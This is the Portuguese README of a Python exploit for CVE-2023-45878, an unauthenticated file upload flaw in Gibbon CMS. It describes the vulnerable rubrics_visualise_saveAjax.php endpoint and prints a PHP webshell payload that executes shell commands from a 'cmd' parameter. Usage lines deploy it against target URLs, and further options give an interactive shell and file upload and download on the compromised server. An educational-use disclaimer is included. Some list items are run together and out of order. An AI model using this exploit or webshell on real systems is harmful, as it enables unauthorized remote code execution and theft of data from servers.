
Exploit automatizado em Python para CVE-2023-45878, uma vulnerabilidade de upload de arquivo não autenticado no Gibbon CMS, permitindo execução remota de código através da implantação de webshell PHP com shell interativo e capacidades de transferência de arquivos.
Este script Python explora a CVE-2023-45878, uma vulnerabilidade de upload arbitrário de arquivo não autenticado no Gibbon CMS versões 25.0.1 e anteriores, levando à Execução Remota de Código (RCE).
A CVE-2023-45878 existe no endpoint rubrics_visualise_saveAjax.php do Gibbon CMS. Este endpoint é vulnerável porque não exige autenticação e permite gravação arbitrária de arquivos.
A vulnerabilidade surge do seguinte:
modules/Rubrics/rubrics_visualise_saveAjax.php é acessível sem qualquer autenticação.img, path e gibbonPersonID.
img deve conter dados formatados de forma especial, onde a parte após uma vírgula é uma string codificada em base64.path, se fornecido, é usado como nome de arquivo de destino para o arquivo enviado, relativo ao diretório de instalação do Gibbon.img e o grava em um arquivo especificado pelo parâmetro path.img malicioso contendo código PHP codificado em base64 (por exemplo, <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>) e especificar um path que resulte em um arquivo .php acessível via servidor web, um atacante pode enviar um webshell PHP e obter Execução Remota de Código no servidor vulnerável.Este script Python automatiza a exploração da CVE-2023-45878. Ele realiza as seguintes ações:
modules/Rubrics/rubrics_visualise_saveAjax.php a fim de enviar um webshell PHP. O payload do webshell é <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>, onde {VERIFY_TAG} é uma tag personalizável. O payload é codificado em base64 e enviado dentro do parâmetro img.cmd=echo) e verificando a presença da VERIFY_TAG na resposta. Ele também realiza uma pré-verificação de um shell existente se opções como --verify ou --interactive forem usadas.user@host:cwd$).python3 exploit.py <url_alvo> [opções]
Argumentos:
target_url: A URL base da instância do Gibbon CMS alvo. O script irá prefixar http:// se nenhum esquema for fornecido e garantirá uma barra no final (ex.: http://exemplo.com/gibbon ou exemplo.com/gibbon).Opções:
-s <caminho_do_shell>, --shell-path <caminho_do_shell>:
Especifique o caminho e nome de arquivo desejados para o shell enviado (ex.: shell.php, uploads/shell.php).
Se omitido, um nome de arquivo aleatório de 8 caracteres com extensão .php será gerado no diretório base do Gibbon.
Aviso: Certifique-se de que o caminho especificado seja gravável pelo servidor web e acessível via web.-v, --verify:
Após tentar enviar o shell, verifique se ele está funcionando. Esta opção também aciona uma pré-verificação para ver se já existe um shell com o nome e tag especificados; se sim, o envio é ignorado.-i, --interactive:
Entre no modo de shell interativo. Se o shell ainda não estiver presente (verificado por uma pré-verificação), ele será enviado e verificado primeiro.-t <tag>, --tag <tag>:
Especifique uma tag estática personalizada usada no payload do webshell para fins de verificação. (Padrão: ExploitGibbon).Exemplos:
Exploit básico com nome de shell aleatório no diretório principal do Gibbon e tag padrão:
python3 exploit.py http://target.com/gibbon/
Exploit, especificar o nome do arquivo do shell my_shell.php no diretório principal do Gibbon e tag padrão:
python3 exploit.py http://target.com/gibbon/ -s my_shell.php
Exploit, enviar o arquivo do shell backdoor.php para uploads/, verificar e usar uma tag personalizada:
python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MinhaTagSecreta123
Exploit, enviar shell e entrar no modo interativo com tag padrão e timeout de 30 segundos:
python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
Entrar no modo interativo com um shell existente (o script fará a pré-verificação de sua existência):
python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
Apenas verificar se um shell chamado existing_shell.php com a tag padrão está ativo (tentará enviar se não for encontrado):
dataclasses, pathlib)requests: Instalar usando pip install requestsrich: Instalar usando pip install richprompt_toolkit (opcional, para modo interativo aprimorado): Instalar usando pip install prompt_toolkitEste script é fornecido apenas para fins educacionais e de teste de segurança. Use-o por sua conta e risco e apenas contra sistemas para os quais você tenha permissão explícita para testar. O autor não se responsabiliza por qualquer uso indevido ou dano causado por este script. Explorar vulnerabilidades sem autorização é ilegal e antiético.
cd!help: Exibe ajuda para comandos interativos.!upload <caminho_local> [caminho_remoto]: Envia um arquivo local para o servidor alvo através do webshell.!download <caminho_remoto> [caminho_local]: Baixa um arquivo do servidor alvo.!lcd <caminho>: Altera o diretório de trabalho local atual.!ldir [caminho]: Lista arquivos e diretórios no diretório de trabalho local atual ou em um caminho especificado.prompt_toolkit se disponível para uma experiência de linha de comando aprimorada (histórico, melhor edição); caso contrário, usa a função input() embutida do Python.!upload reutiliza o endpoint vulnerável para gravar arquivos arbitrários, enquanto o !download usa comandos do sistema executados via webshell (como base64 ou [Convert]::ToBase64String do PowerShell) para recuperar o conteúdo do arquivo.--timeout <timeout>:
Defina o tempo limite da requisição HTTP em segundos. (Padrão: 20).python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v